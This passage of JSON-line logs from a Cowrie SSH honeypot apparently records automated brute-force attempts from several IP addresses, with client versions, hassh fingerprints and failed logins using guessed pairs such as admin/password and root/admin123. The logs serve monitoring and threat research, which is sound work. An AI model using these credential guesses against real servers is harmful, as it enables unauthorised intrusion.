{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:47.319100Z","src_ip":"27.79.1.70","session":"5f9b188028aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:21:48.870329Z","src_ip":"27.79.1.70","session":"5f9b188028aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":35508,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d274a6fee6","protocol":"ssh","message":"New connection: 46.19.67.181:35508 (10.17.0.5:22) [session: f5d274a6fee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:07.645937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:07.651585Z","src_ip":"46.19.67.181","session":"f5d274a6fee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:07.768388Z","src_ip":"46.19.67.181","session":"f5d274a6fee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1957","message":"login attempt [root/1957] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:08.120742Z","src_ip":"46.19.67.181","session":"f5d274a6fee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:09.240446Z","src_ip":"46.19.67.181","session":"f5d274a6fee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":59896,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac96108412f","protocol":"ssh","message":"New connection: 194.59.206.2:59896 (159.203.135.109:22) [session: bac96108412f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:15.802509Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:15.807619Z","src_ip":"194.59.206.2","session":"bac96108412f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:15.902105Z","src_ip":"194.59.206.2","session":"bac96108412f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:16.001914Z","src_ip":"194.59.206.2","session":"bac96108412f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":54826,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3f0bb26b2f8","protocol":"ssh","message":"New connection: 103.122.221.179:54826 (10.17.0.5:22) [session: f3f0bb26b2f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:41.530505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:41.535273Z","src_ip":"103.122.221.179","session":"f3f0bb26b2f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:41.797548Z","src_ip":"103.122.221.179","session":"f3f0bb26b2f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radiohead","message":"login attempt [root/radiohead] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:42.585740Z","src_ip":"103.122.221.179","session":"f3f0bb26b2f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:22:43.850748Z","src_ip":"103.122.221.179","session":"f3f0bb26b2f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":39150,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4156b740651","protocol":"ssh","message":"New connection: 20.87.219.67:39150 (159.203.135.109:22) [session: f4156b740651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:05.111257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:05.116575Z","src_ip":"20.87.219.67","session":"f4156b740651","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:05.347002Z","src_ip":"20.87.219.67","session":"f4156b740651","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123","message":"login attempt [vpnuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:06.284341Z","src_ip":"20.87.219.67","session":"f4156b740651","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:07.514414Z","src_ip":"20.87.219.67","session":"f4156b740651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":35768,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa87b30cdc6","protocol":"ssh","message":"New connection: 116.110.158.146:35768 (159.203.135.109:22) [session: efa87b30cdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:32.383026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:32.491869Z","src_ip":"116.110.158.146","session":"efa87b30cdc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:34.451994Z","src_ip":"116.110.158.146","session":"efa87b30cdc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:37.634745Z","src_ip":"116.110.158.146","session":"efa87b30cdc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.3","message":"Connection lost after 9.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:23:41.686553Z","src_ip":"116.110.158.146","session":"efa87b30cdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56312,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ff1cbb5acf","protocol":"ssh","message":"New connection: 37.233.85.71:56312 (159.203.135.109:22) [session: e0ff1cbb5acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:15.542355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:15.547197Z","src_ip":"37.233.85.71","session":"e0ff1cbb5acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:15.648947Z","src_ip":"37.233.85.71","session":"e0ff1cbb5acf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lvbnhbq123","message":"login attempt [root/lvbnhbq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:15.951896Z","src_ip":"37.233.85.71","session":"e0ff1cbb5acf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:17.055636Z","src_ip":"37.233.85.71","session":"e0ff1cbb5acf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":41328,"dst_ip":"10.17.0.5","dst_port":22,"session":"158bb7985ba6","protocol":"ssh","message":"New connection: 85.11.167.46:41328 (10.17.0.5:22) [session: 158bb7985ba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:47.561389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:47.566307Z","src_ip":"85.11.167.46","session":"158bb7985ba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:47.648849Z","src_ip":"85.11.167.46","session":"158bb7985ba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:48.024723Z","src_ip":"85.11.167.46","session":"158bb7985ba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:24:49.110793Z","src_ip":"85.11.167.46","session":"158bb7985ba6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":47926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d09b0d1087d","protocol":"ssh","message":"New connection: 51.250.105.222:47926 (10.17.0.5:22) [session: 0d09b0d1087d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:02.942859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:02.948958Z","src_ip":"51.250.105.222","session":"0d09b0d1087d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:25:03.076690Z","src_ip":"51.250.105.222","session":"0d09b0d1087d","protocol":"ssh"}
